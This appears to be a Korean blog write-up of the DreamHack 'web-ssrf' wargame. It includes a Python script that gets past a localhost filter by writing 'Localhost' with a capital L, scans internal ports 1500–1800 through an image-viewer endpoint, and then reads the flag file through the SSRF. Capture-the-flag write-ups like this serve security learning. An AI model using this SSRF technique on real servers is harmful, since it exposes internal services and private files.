오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 web-ssrf를 함께 풀어볼 예정이다.
web-ssrf
flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. Reference Server-side Basic
dreamhack.io
1. ## 문제 설명:

문제 정보를 살펴보면 SSRF 취약점을 이용하여 flag를 획득하면 되는 것으로 보인다.
2. ## 문제 풀이
사이트에 접속해보니 다음과 화면이 보인다.

Image Viewer 버튼을 클릭하면 다음과 같이 이미지를 불러 올 수 있는 화면이 출력된다.


소스 코드를 보면 flag.txt는 로컬에 있고, localhost와 127.0.0.1이 필터링 처리된 것을 확인할 수 있다.

또한 포트는 1500~1800 사이인 것을 알 수 있다.

우선 포트가 몇 번인지부터 확인해보겠다. 파이썬을 통해 스크립트를 작성해보겠다.
## 공격 코드
<python />
import requests
from tqdm import tqdm
IMG_NOTFOUND = "iVBORw0KG"
port = 23992
url = f"http://host3.dreamhack.games:{port}/img_viewer"
def send_img(img_url):
global url
data = {
"url": img_url,
}
response = requests.post(url, data=data)
return response.text
def find_port():
for rst_port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{rst_port}"
if IMG_NOTFOUND not in send_img(img_url):
print(f"Internal port number is: {rst_port}")
break
return rst_port
internal_port = find_port()
## 실행 결과

포트 번호가 1578인 것을 확인할 수 있다.

이미지가 출력된 것을 확인할 수 있다. 개발자 도구를 열어 다음과 같이 base64로 인코딩된 것을 확인할 수 있다.

해당 문자열을 디코딩 하면 다음과 같이 flag.txt가 존재한 것을 확인할 수 있다.

해당 경로를 접속해보면 마찬가지로 이미지 파일이 출력된 것을 확인할 수 있다.

위와 같은 방법으로 파일을 인코딩하면 다음과 같이 FLAG 값이 출력된 것을 확인할 수 있다.

'Wargame > DreamHack' 카테고리의 다른 글
[DreamHack 워게임] Tomcat Manager (0) | 2023.04.08 |
---|---|
[DreamHack 워게임] funjs (0) | 2023.04.07 |
[DreamHack 워게임] blind-command (0) | 2023.04.05 |
[DreamHack 워게임] command-injection (0) | 2023.04.04 |
[DreamHack 워게임] login-1 (0) | 2023.04.03 |